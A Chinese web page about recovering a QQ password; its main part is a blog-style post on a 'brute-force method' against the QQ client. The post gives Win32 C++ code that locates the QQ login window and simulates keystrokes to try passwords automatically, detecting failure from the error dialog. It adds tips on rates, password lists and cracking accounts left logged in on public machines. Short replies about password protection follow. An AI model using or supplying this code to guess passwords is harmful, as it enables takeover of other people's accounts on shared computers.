时空之轮2.2攻略:如何找回QQ密码？

一年没登，早就被腾讯收回啦！建议你重新申请一个，登陆 http://freeqq2.qq.com/1.shtml 免费申请QQ号。
不要忘了再申请密码保护哦！

"暴力法"找回QQ密码
GF的QQ密码忘了，让我把密码找回来。于是，今天一晚上就耗在这上面了。

开始时候，依回忆将一些可能密码在QQ上逐一Try。Try了十几个都不是。郁闷。QQ密码保护又不知道答案。

这样下去不是个办法，于是想用程序方法自动输入密码。终于皇天不负有心人，程序帮我找回了密码！

偶猜想QQ的登录过程：
1）如果本机已登录过此QQ号码。则首先在本地验证，很可能只保存了密码的HASH值。比较两者的HASH值。
如果不对，就弹出失败对话框。
这样的目的：减少了一次非必要的网络访问，减轻QQ密码服务器的负担，或者xxx其他原因（方便真正丢失密码用户找回密码).
2）本地密码正确的话，才连接到服务器，再进行一次密码验证。

基于这样的假设，可以进行QQ本机的暴力破解。
主要过程 (解释部分参见代码comment）：
1）找出QQ的登录窗口Handle。QQ登录窗口句柄不能直接获取到，需要先获取其某个子窗口，再通过子窗口找到登录窗口Handle。
HWND hQQLogin = 0;
BOOL CALLBACK MyEnumWindowsProc(HWND hwnd, LPARAM lParam)
{
hQQLogin = ::FindWindowEx(hwnd, 0, 0, "软键盘");
if (hQQLogin)
{
return FALSE;
}
return TRUE;
}

//Hard to find the QQ login window handle directly, because it has different title each time.
//So we find the specific child window in login window, such as "login", or "soft keyboard"
//Then find the parent window of this child window, and the parent is just Login window.
HWND FindQQLogin()
{
::EnumWindows(MyEnumWindowsProc, 0);

return ::GetParent(hQQLogin);
}

HWND FindTopWnd(const char* pTitle)
{
return ::FindWindowEx(0,0,0,pTitle);
}
2）模拟键盘，输入密码
bool CMyDialog::TryQQ(CString strCurrPass)
{
//Input password
SendString(strCurrPass);
SendEnter();

//Find the result window
Sleep(20);
HWND hFindResult = 0;
for (int i = 0; i<20; i++)
{
hFindResult = FindTopWnd("错误");
if (hFindResult)
{
break;
}
else
{
Sleep(50);
}
}

if (!hFindResult)
{
//Maybe the password is right
CString strMessage;
strMessage.Format("We find it possibly!: %s", strCurrPass);
MessageBox(strMessage);
return true;
}

//close the "error" window
SendEnter();

return false;
}
3）将自己常用密码字符串组合，逐个调用TryQQ()。

程序以20ms试一个密码，一个小时可以试180K个密码。因为有比较小的选择范围，我自己的密码十几秒就找回了。

注意几点：
1）QQ在本地机器上有过成功登陆。
2）破解时，关掉所有其他无关程序，以免干扰导致发现不正确的窗口Handle。
3）最好组织一些常用密码串，如果直接从a到z，1~10, 特殊字符，密码长的话，估计跑几个月都不一定到找出来。

另外，如果在公共机器上如果以“普通方式”登录QQ，这样他人理论上又可能破解此QQ密码，如果密码比较短，则破解可能性很大。
如果以“网吧方式“登录， QQ退出时可能不会保存密码或者密码HASH到本机。这样就安全一些。

密码保护设置了吗?只要记得当时填的内容就可以了.

QQ 公司收回了~~~

qq登陆窗口有高级设置，可以取回密码，当然你要记得但是你要记得当初填的问题或邮箱